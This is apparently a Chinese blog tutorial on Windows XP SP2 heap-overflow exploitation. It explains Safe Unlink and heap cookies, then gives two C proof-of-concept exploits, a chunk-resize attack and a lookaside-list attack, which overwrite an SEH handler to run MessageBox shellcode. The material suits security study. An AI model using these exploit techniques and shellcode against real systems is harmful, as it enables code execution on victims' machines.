堆溢出攻击(XP SP2 - 2003)

2024年网络安全最新缓冲区溢出分类 ()等函数动态分配、释放的内存块组成,每一个内存块都包含自身内存大小和指向下一个内存块的指针等信息。虽然堆中没有函数返回地址,但是攻击者可以通过修改堆中的函数指针或者指针变量,进而达到修改程序控制流,执行攻击代码的目的。上述程序中,如果str的长度超过buffer容量就会造成溢出,覆盖函数指针fptr,改变程序的执行流程。将函数返回地址指向注入到缓冲区中的恶意代码,当函数执行结束时会跳转到恶意代码处,进而执行代码。所指的数组中,并添加‘\0’,如果格式化的数据长度超出了数组的容量就会溢出。 阅读详情

微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重:

PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击。

Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。SP2 在进行删除操作时,提前验证堆块的完整性,以防止 DWORD SHOOT:

 1 int safe_remove(ListNode * node)
 2 {
 3         if( (node->blink->flink==node)&&(node->flink->blink==node) )
 4         {
 5             node -> blink -> flink = node -> flink;
 6             node -> flink -> blink = node -> blink;
 7             return 1;
 8         } else {
 9             // raise exception
10             return 0;
11         }
12 }

Heap Cookie:与栈中类似,堆中也引入了 cookie,用于检测堆溢出的发生。cookie 布置在堆首中原堆块的 segment table 的位置,占 1 字节:

元数据加密:Windows Vista 及后续版本的系统中开始使用这项措施。块首中的一些重要数据在保存时会与一个 4 字节的随机数进行异或加密,使用时再异或解密。这样就不能直接破坏这些数据了。

堆的研究者之一 Matt Conover 在 CanSecWest 04 的演讲议题 Windows Heap Exploitation (Win2K SP0 through WinXP SP2) 中,针对 PEB random 机制,指出变动只是在 0x7FFDF000 ~ 0x7FFD4000 之间,随机区间不大,在多线程状态下容易被预测出来。

而 Heap Cookie 只占 1 字节,在研究其生成随机的算法之后仍存在破解可能。

对于 Safe Unlink 也有人找到了一些破解思路。

但这些突破的思路要在 XP SP2 之后成功实施并利用,需要十分苛刻的条件,堆溢出变得难如登天。

 

溢出堆中的数据

但堆保护措施是对堆的各个关键数据结构进行保护,对堆中的数据不提供保护,所以攻击的第一个思路,是溢出堆中存放的关键数据结构:重要变量、数据、函数指针…

 

利用 chunk 重设大小攻击堆

Safe Unlink 是从 FreeList[n] 上拆卸 chunk 时对双向链表进行验证,但是,将一个 chunk 插入到 FreeList[n] 时没有进行校验!如果能伪造一个 chunk 并将其插入到 FreeList[n] 上就可以造成某种攻击。如下两种情况会发生插入操作:

1  内存释放后 chunk 不再被使用时。
2  当 chunk 的内存空间大于申请的大小,剩余的空间会被建成一个新的 chunk 链入链表中。

上述第二种情况提供了可以利用的机会。先考虑申请 chunk 的过程,从 FreeList[] 上申请空间的过程如下:

1  将 FreeList[0] 上最后一个 chunk 与申请的大小进行比较,如果 chunk 的大小 ≥ 申请的大小,则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)
2  从 FreeList[0] 的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后卸载
3  分配好空间后,如果 chunk 有剩余空间,剩余空间会建成新的 chunk 并插入到链表中

这个过程中,第一种情况没有机会,第二种情况有 Safe Unlink 进行保护。但申请空间之后拆卸 chunk 时 Safe Unlink 存在一个问题:即使 Safe Unlink 检测到 chunk 结构被破坏,还是会允许一些后续的操作,包括重设 chunk 大小的操作。

首先用一段程序来观察将剩余空间的 chunk 插入到 FreeList[] 中的过程:

 1 // OS : XP SP2
 2 // Compiler: Visual C++ 6.0 (build release)
 3 #include <stdio.h>
 4 #include <windows.h>
 5 
 6 void main()
 7 {
 8     HLOCAL h1;
 9     HANDLE hp = HeapCreate(0,0x1000,0x10000);
10     _asm int 3
11     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,0x10);
12 }

HeapCreate() 后,堆区初始化完成,此时只有一个 chunk 位于 FreeList[0],HeapAlloc() 申请小规模的空间后,会产生新的 chunk并被插入到 FreeList[] 中。

int 3 之后启动 OllyDbg 观察 eax 中的返回值,指向 heap=0x00390000,FreeList[] @ 0x00390178(堆首信息参见 winheap.h)。

FreeList[0] = 0x00390178 = &(Flink=0x00390688=Blink),此时唯一的 chunk 如下(d [eax+178]-8):

00390680      30 01 08 00 00 10 00 00     0x130       0x08   0x0 0x10 0x0 0x0
00390688      78 01 39 00 78 01 39 00     flink=0x00390178   blink=0x00390178
00390690      00 00 00 00 00 00 00 00     data ..............................

关键的地方在 ntdll.dll 基址偏移 0x11513 处,是修改新的 chunk 和上一个 chunk 指针的开始,反汇编代码如下:

1 7C931513  8D47 08        LEA EAX,DWORD PTR DS:[EDI+8]   ; 获取 new_chunk 的 Flink 的位置
2 7C931516  8985 10FFFFFF  MOV DWORD PTR SS:[EBP-F0],EAX
3 7C93151C  8B51 04        MOV EDX,DWORD PTR DS:[ECX+4]   ; 获取 next_chunk 的 Blink 的位置;ECX==old_chunk->Flink==next_chunk
4 7C93151F  8995 08FFFFFF  MOV DWORD PTR SS:[EBP-F8],EDX
5 7C931525  8908           MOV DWORD PTR DS:[EAX],ECX     ; 保存 new_chunk 的 Flink
6 7C931527  8950 04        MOV DWORD PTR DS:[EAX+4],EDX   ; 保存 new_chunk 的 Blink
7 7C93152A  8902           MOV DWORD PTR DS:[EDX],EAX     ; 更新 next_chunk 的 Blink->Flink 的 Flink
8 7C93152C  8941 04        MOV DWORD PTR DS:[ECX+4],EAX   ; 更新 next_chunk 的 Blink

算法伪代码如下:

1 // 设置 new_chunk
2 new_chunk->Flink = old_chunk->Flink
3 new_chunk->Blink = old_chunk->Flink->Blink  // 算法开始时 ECX 已保存 old_chunk->Flink==next_chunk,各步计算以 ECX 为线索
4 // 将 new_chunk 插入到 FreeList[]
5 old_chunk->Flink->Blink->Flink = new_chunk
6 old_chunk->Flink->Blink = new_chunk

如果事先将 old_chunk->Flink 覆盖为 0xAAAAAAAA,就会执行:

1 [new_chunk->Flink] = 0xAAAAAAAA
2 [new_chunk->Blink] = [0xAAAAAAAA+4]              // read *(0xAAAAAAAA+4)
3 [[0xAAAAAAAA+4]] = new_chunk   // DWORD SHOOT    // write &(*(0xAAAAAAAA+4))
4 [0xAAAAAAAA+4] = new_chunk                       // write &(0xAAAAAAAA+4))

以上算法中,第 3 行为典型的 DWORD SHOOT 攻击!如果事先将 shellcode 布置到 new_chunk,就可以利用 DWORD SHOOT 执行 shellcode!PoC 如下:

 #include <stdio.h>
 #include <windows.h>
 void main()
 {
     char shellcode[]=
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // overwrite h1
     "\x10\x01\x10\x00\x99\x99\x99\x99"   // overwrite header of chunk_after_h1
     "\xEB\x06\x39\x00\xEB\x06\x39\x00"   // overwrite Flink & Blink of chunk_after_h1 (EB06: jmp 06)
     "\x90\x90\x90\x90\x90\x90\x90\x90"   // overwrite data of chunk_after_h1
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\xEB\x31\x90\x90\x90\x90\x90\x90"   // jmp
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x8C"
     "\x06\x39\x00\xE4\xFF\x12\x00\x00"   // fake Flink & Blink (0x0012FFE4=SE Handler)
     "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
     "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
     "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
     "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
     "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
     "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
     "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
     "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
     "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
     "\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
     "\xFC\x53\xFF\x57\xF8"  // 165 bytes msgbox shellcode for xp/win7
     ;
     HLOCAL h1,h2;
     HANDLE hp = HeapCreate(0,0x1000,0x10000);
     //_asm int 3
     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
     memcpy(h1,shellcode,300);
     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
 
     printf("press any key to continue...");
     getchar();
 
     int zero=0;
     printf("divide operationg executing...\n");
     zero=1/zero;
     printf("%d\n",zero);
 }


当第 33 行申请 h2 的空间时,将会执行如下过程:

1 // h2 @ 0x003906B8
2 [0x003906B8] = 0x003906EB
3 [0x003906B8+4] = 0x0012FFE4
4 [0x0012FFE4] = 0x003906B8   // DWORD SHOOT : overwrite se handler
5 [0x003906EB+4]=0x003906B8

实验过程中发现代码中第 7 行的 shellcode 有具体要求,如果填写不当会导致异常。堆这部分内容需要再花时间学习!

 

利用 Lookaside 表进行攻击

Safe Unlink 对空表中双向链表进行了有效性验证,而对于快表中的单链表没有进行验证。从快表中正常拆卸一个节点(chunk)的过程为:

pre_chunk->next = chunk->next  // pre_chunk : previous_chunk; chunk : the chunk to remove

思路:如果控制 chunk->next,就控制了 pre_chunk->next,进而当用户再次申请空间时系统就会将这个伪造的地址作为申请得到的空间的起始地址返回给用户。用户一旦向这个再次申请来的空间写入数据就会留下溢出的隐患。

 // os : win xp sp2
 // compiler : visual c++ 6.0
 #include <stdio.h>
 #include <windows.h>
 void main()
 {
     char shellcode[]=
     "\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // EB40 : jmp 0x40
     "\x03\x00\x03\x00\x5C\x01\x08\x99"    // header of next_chunk
     "\xE4\xFF\x12\x00"      // next_chunk->next (0x0012FFE4=default se)
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
     "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
     "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
     "\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
     "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
     "\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
     "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
     "\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
     "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
     "\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
     "\xFC\x53\xFF\x57\xF8"  // 165 bytes msgbox shellcode for xp/win7
     ;
     HLOCAL h1,h2,h3;
     HANDLE hp;
     hp = HeapCreate(0,0,0);                 // enable lookaside table
     //_asm int 3
     h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
     h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
     HeapFree(hp,0,h3);                      // free to lookaside table
     HeapFree(hp,0,h2);                      // free to lookaside table
     memcpy(h1,shellcode,300);
     h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); // alloc from lookaside
     h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); // alloc from lookaside
     memcpy(h3,"\x90\x1E\x39\x00",4);        // h3=0x0012FFE4=se, 0x00391E90 = h1 = shellcode[]
     int zero=0;
     zero=1/zero;                            // raise exception, call se handler
     printf("zero = %d\n",zero);
 }

 

网络攻防之缓冲区溢出攻击 缓冲区溢出是一种异常现象,当软件向缓冲区中写入数据使缓冲区容量溢出时,会导致相邻存储器位置被覆盖。换句话说,过量的信息被传递到没有足够空间的容器中,而这些信息最终会替换相邻容器中的数据。攻击者可以利用缓冲区溢出修改计算机的内存,以破坏或控制程序的执行。缓冲区或数据缓冲区是一个物理内存存储区,用于在将数据从一个位置移到另一位置时临时存储数据。这些缓冲区通常位于 RAM 内存中。计算机经常使用缓冲区来帮助提高性能。大多数现代硬盘驱动器都利用缓冲的优势来有效地访问数据,并且许多在线服务也使用缓冲区。例如,在线视频 阅读详情

相关推荐

《0day安全》——狙击Windows异常处理机制(SEH)

《0day2》——狙击Windows异常处理机制(SEH) SEH的异常处理模型主要由__try __except语句来完成,与标准的try catch相似。 在栈溢出中利用SEH #include "stdafx.h" #include "stdio.h" #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90

sunr_的博客 453

堆溢出攻击教程(heap overflow attack)

堆溢出攻击教程(heap overflow attack)

PWN学习:堆栈溢出攻击与防御

然而,如果程序没有正确地验证用户输入的数据,攻击者可以构造恶意输入,使得输入数据超出预留的缓冲区大小,从而覆盖到堆栈中的其他数据。通过使用安全的字符串处理函数和进行输入验证,我们可以提高程序的安全性,避免受到堆栈溢出攻击的威胁。然而,为了确保系统的安全性,开发人员需要不断关注最新的安全漏洞和攻击技术,并采取相应的防御措施。攻击者可以将恶意代码的地址写入到返回地址的位置,当函数执行完毕后,程序将跳转到攻击者指定的地址,从而执行恶意代码。同时,我们手动添加了字符串的终止符,以确保输出的字符串正确。

loop_code966的博客 362

【pwn学习】堆溢出(一)

pwn中堆溢出的学习

Morphy_Amo的博客 6457

堆溢出——unlink漏洞攻击(bamboobox)

当要free掉某个堆块时,如果其低地址的chunk是空闲的,那么这里的P就是被释放掉的堆块的地址减去自己的pre_size里的数值,这样就可以指向低地址的chunk的chunk头了,通过堆溢出修改掉被释放的chunk的pre_size和size,就可以达到释放该chunk时,unlink调用的P是是指向假chunk的chunk头。1.首先检查被合并的chunk的大小是否正确,程序会先检查被合并的chunk的size是否与其物理相连的下一个chunk的presize是否相符。

fzucaicai的博客 1291

《0day》-5-堆溢出

第 5 章 堆溢出利用 文章目录第 5 章 堆溢出利用5.1 堆的工作原理5.1.1 Windows 堆的历史5.1.2 堆与栈的区别5.1.3 堆的数据结构与管理策略堆块堆表空表快表堆的管理策略堆块分配堆块释放堆块合并小结5.2 在堆中漫游5.2.1 堆分配函数之间的调用关系5.2.2 堆的调试方法5.2.3 识别堆表5.2.4 ...

Starr 2037

Windows平台下的堆溢出利用技术(二)(上篇)

lxj616 · 2014/05/06 16:270x00 背景开头我讨论了在旧版本Windows下利用堆溢出的技术,试着给读者提供一些关于unlink过程是怎样执行的、以及freelist[n]里面的flink/blink是如何被攻击者控制并提供简单的任意“4字节写”操作 的 实用的知识。本文的主要目的是重新提醒自己(我很健忘)并且帮助安全专家获取对老版本windows(NT v5 及以下)堆管...

weixin_33704234的博客 1354

Microsoft Windows帮助图形处理堆溢出漏洞(网上拷贝的)

 拷贝自 (http://hi.baidu.com/jymx6/blog/item/d609f2c4afb132a98326ac61.html),以后没事的时候可以研究一下 Microsoft Windows帮助图形处理堆溢出漏洞2006-04-16 10:11Microsoft Windows帮助图形处理堆溢出漏洞受影响系统:Microsoft W

jszj的专栏 1183

Microsoft Windows WebDAV Mini-Redirector远程堆溢出漏洞(MS08-007)

导读:   涉及程序:   Microsoft Windows      描述:   Microsoft Windows WebDAV Mini-Redirector远程堆溢出漏洞(MS08-007)      详细:   Microsoft Windows是微软发布的非常流行的操作系统。   Windows系统的WebDAV客户端程序实现上存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞通过

黑客攻防 | .net 源代码下载 | ASP.NET开发 | ORACLE数据库开发 | JAVASCRIPT脚本下载 | java源码下载 1613

缓冲区溢出攻击框架Metasploit

置顶便笺: 缓冲区溢出攻击框架Metasploit1、Metasploit是这样的架构,它如一条流水生产线一样,从攻击程序集中选择你要使用的攻击程序(当然也可以开发你自己的攻击程序),然后从有效载荷集(也就是攻击成功后想要执行的代码或程序,如shell)中选择一个有效载荷,然后配置目录信息,这样封装完后就可以对目标进行攻击2、防御缓冲区溢出攻击Solaris和HP-UX系统中可以配置内核为不能从

Uchiha Itachi 的专栏 2349

Windows XP关键安全补丁KB944043 v3(x86简体中文版)详解与安装指南

Windows XP基于NT 5.1内核,采用单体式内核结构,其核心组件如GDI、USER32等运行于内核态,导致图形子系统的漏洞可能直接引发权限提升。默认以Administrator权限登录用户,缺乏UAC(用户账户控制)机制,使得恶意代码极易获得系统级控制权。

weixin_42372837的博客 1321

[NT] Windows Embedded Open Type (EOT) Font Heap Overflow

 Windows Embedded Open Type (EOT) Font Heap Overflow------------------------------------------------------------------------SUMMARYMicrosoft Embedded OpenType Font Engine "t2embed" is "designed to cre

1541

Windows Media Player BMP Heap Overflow (MS06-005)

/*** Windows Media Player BMP Heap Overflow (MS06-005)* Bug discovered by eEye - http://www.eeye.com/html/research/advisories/AD20060214.html* Exploit coded by ATmaCA* Web: http://www.spyinstructors.c

1241

CVE-2019-0708漏洞复现(远程桌面服务)

CVE-2019-0708是Windows远程桌面服务(RDP)的远程代码执行漏洞,影响未打补丁的Windows系统。攻击者无需用户交互即可发送恶意RDP请求,触发堆溢出,最终执行任意代码。该漏洞被命名为"BlueKeep",因其潜在危害被评级为(CVSS 9.8)。

m0_74795359的博客 2492

#渗透测试#SRC漏洞挖掘# 信息收集-Shodan批量扫描

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。实战漏洞演练 #陇羽sec#

soc的博客 1201

现在的黑客技术放到二十年前的网络上能够无敌么?

如果“无敌”是指,攻击者在当时的网络、系统和应用环境中具备高效渗透能力,能够对目标信息进行窃听、篡改、阻断,甚至实现长期潜伏与控制,那么,可以回顾下2005年时候,全世界普遍在网络、系统、应用方面的技术栈使用和相应的安全防护状况,再评估这个问题的回答。更何况,在2005年之后的20年间,爆出了许多存在多年的、影响普遍的安全漏洞,除了上面提到的两个漏洞,还包括CVE-2014-6271(Shellshock漏洞),以及之后才诞生的诸多攻击手段,比如BadUSB、LAN Turtle等等。

Python84310366的博客 952

Metasploit 漏洞利用实战

Metasploit 就是一个漏洞利用框架。全称 The Metasploit Framework,简称 MSF。MSF 能干什么?信息收集(端口扫描、服务识别)漏洞探测(验证目标是否存在已知漏洞)漏洞利用(一键 Get Shell)后渗透操作(提权、横向移动、持久化)Payload 生成(制作木马、反弹 Shell)MSF 本身附带2000 多个已知软件漏洞的利用模块,并保持持续更新。1. 信息收集 → nmap 扫端口,确认目标系统和开放服务↓。

2503_94807485的博客 509
上一篇: 关于Fuzz工具的那些事儿
下一篇: tcpdump for Android 移动端抓包
whatday
博客等级 码龄20年 3693粉丝 96原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值